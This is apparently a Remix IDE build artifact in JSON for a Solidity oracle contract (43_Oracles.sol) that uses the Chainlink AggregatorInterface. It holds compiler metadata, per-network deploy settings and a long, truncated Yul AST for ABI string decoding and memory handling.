"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"contracts/43_Oracles.sol": { | |
"keccak256": "0x3631f58d10a8f6673eb4173fbdc3b7ffd58c81d89fad1be26a1f179b81c99d20", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://149530bd8a0c1b183691cde0afb47efdcc271cafe30aebfdd2c4cb0e1c0194a1", | |
"dweb:/ipfs/QmbwoHvQWjVbveghoPxDu3dXSTChv61vg79cdD1b8W2j6N" | |
] | |
}, | |
"https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.6/interfaces/AggregatorInterface.sol": { | |
"keccak256": "0x83d92824853687feb62da3e8dc773e1e0adc3267393e279acda02c6367037f56", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://ee1dcacb7aeb3b745351dccca2ae92ce1ea9681d4b3a98fef4b249988f934596", | |
"dweb:/ipfs/QmWNBDybqdq3UKH1F4CqnM5kNfpXbRCd1TsmHdHJjTzwg2" | |
] | |
} | |
}, | |
"version": 1 | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": { | |
"@_40": { | |
"entryPoint": null, | |
"id": 40, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
}, | |
"abi_decode_tuple_t_string_memory_ptr_fromMemory": { | |
"entryPoint": 84, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"array_dataslot_string_storage": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"clean_up_bytearray_end_slots_string_storage": { | |
"entryPoint": 334, | |
"id": null, | |
"parameterSlots": 3, | |
"returnSlots": 0 | |
}, | |
"copy_byte_array_to_storage_from_t_string_memory_ptr_to_t_string_storage": { | |
"entryPoint": 412, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"extract_byte_array_length": { | |
"entryPoint": 278, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"extract_used_part_and_set_length_of_short_byte_array": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"panic_error_0x41": { | |
"entryPoint": 64, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
} | |
}, | |
"generatedSources": [ | |
{ | |
"ast": { | |
"nodeType": "YulBlock", | |
"src": "0:3779:1", | |
"statements": [ | |
{ | |
"nodeType": "YulBlock", | |
"src": "6:3:1", | |
"statements": [] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "46:95:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "63:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "70:3:1", | |
"type": "", | |
"value": "224" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "75:10:1", | |
"type": "", | |
"value": "0x4e487b71" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "66:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "66:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "56:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "56:31:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "56:31:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "103:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "106:4:1", | |
"type": "", | |
"value": "0x41" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "96:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "96:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "96:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "127:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "130:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "120:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "120:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "120:15:1" | |
} | |
] | |
}, | |
"name": "panic_error_0x41", | |
"nodeType": "YulFunctionDefinition", | |
"src": "14:127:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "237:951:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "247:12:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "257:2:1", | |
"type": "", | |
"value": "32" | |
}, | |
"variables": [ | |
{ | |
"name": "_1", | |
"nodeType": "YulTypedName", | |
"src": "251:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "304:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "313:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "316:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "306:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "306:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "306:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "279:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "288:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "275:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "275:23:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "300:2:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "271:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "271:32:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "268:52:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "329:30:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "349:9:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "343:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "343:16:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "333:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "368:28:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "386:2:1", | |
"type": "", | |
"value": "64" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "390:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "382:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "382:10:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "394:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "378:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "378:18:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulTypedName", | |
"src": "372:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "423:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "432:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "435:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "425:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "425:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "425:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "411:6:1" | |
}, | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "419:2:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "408:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "408:14:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "405:34:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "448:32:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "462:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "473:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "458:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "458:22:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulTypedName", | |
"src": "452:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "528:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "537:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "540:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "530:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "530:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "530:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "507:2:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "511:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "503:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "503:13:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "518:7:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "499:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "499:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "492:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "492:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "489:55:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "553:19:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "569:2:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "563:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "563:9:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_4", | |
"nodeType": "YulTypedName", | |
"src": "557:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "595:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "597:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "597:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "597:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "587:2:1" | |
}, | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "591:2:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "584:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "584:10:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "581:36:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "626:17:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "640:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "636:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "636:7:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_5", | |
"nodeType": "YulTypedName", | |
"src": "630:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "652:23:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "672:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "666:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "666:9:1" | |
}, | |
"variables": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulTypedName", | |
"src": "656:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "684:71:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "706:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "730:2:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "734:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "726:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "726:13:1" | |
}, | |
{ | |
"name": "_5", | |
"nodeType": "YulIdentifier", | |
"src": "741:2:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "722:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "722:22:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "746:2:1", | |
"type": "", | |
"value": "63" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "718:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "718:31:1" | |
}, | |
{ | |
"name": "_5", | |
"nodeType": "YulIdentifier", | |
"src": "751:2:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "714:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "714:40:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "702:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "702:53:1" | |
}, | |
"variables": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulTypedName", | |
"src": "688:10:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "814:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "816:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "816:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "816:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "773:10:1" | |
}, | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "785:2:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "770:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "770:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "793:10:1" | |
}, | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "805:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "790:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "790:22:1" | |
} | |
], | |
"functionName": { | |
"name": "or", | |
"nodeType": "YulIdentifier", | |
"src": "767:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "767:46:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "764:72:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "852:2:1", | |
"type": "", | |
"value": "64" | |
}, | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "856:10:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "845:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "845:22:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "845:22:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "883:6:1" | |
}, | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "891:2:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "876:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "876:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "876:18:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "940:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "949:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "952:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "942:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "942:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "942:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "917:2:1" | |
}, | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "921:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "913:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "913:11:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "926:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "909:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "909:20:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "931:7:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "906:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "906:33:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "903:53:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "965:10:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "974:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "i", | |
"nodeType": "YulTypedName", | |
"src": "969:1:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1030:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "1059:6:1" | |
}, | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "1067:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1055:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1055:14:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "1071:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1051:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1051:23:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "1090:2:1" | |
}, | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "1094:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1086:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1086:10:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "1098:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1082:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1082:19:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "1076:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1076:26:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1044:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1044:59:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1044:59:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "995:1:1" | |
}, | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "998:2:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "992:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "992:9:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "1002:19:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1004:15:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "1013:1:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "1016:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1009:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1009:10:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "1004:1:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "988:3:1", | |
"statements": [] | |
}, | |
"src": "984:129:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "1137:6:1" | |
}, | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "1145:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1133:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1133:15:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "1150:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1129:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1129:24:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1155:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1122:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1122:35:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1122:35:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1166:16:1", | |
"value": { | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "1176:6:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1166:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_string_memory_ptr_fromMemory", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "203:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "214:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "226:6:1", | |
"type": "" | |
} | |
], | |
"src": "146:1042:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1248:325:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1258:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1272:1:1", | |
"type": "", | |
"value": "1" | |
}, | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "1275:4:1" | |
} | |
], | |
"functionName": { | |
"name": "shr", | |
"nodeType": "YulIdentifier", | |
"src": "1268:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1268:12:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "1258:6:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "1289:38:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "1319:4:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1325:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "1315:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1315:12:1" | |
}, | |
"variables": [ | |
{ | |
"name": "outOfPlaceEncoding", | |
"nodeType": "YulTypedName", | |
"src": "1293:18:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1366:31:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1368:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "1382:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1390:4:1", | |
"type": "", | |
"value": "0x7f" | |
} | |
], | |
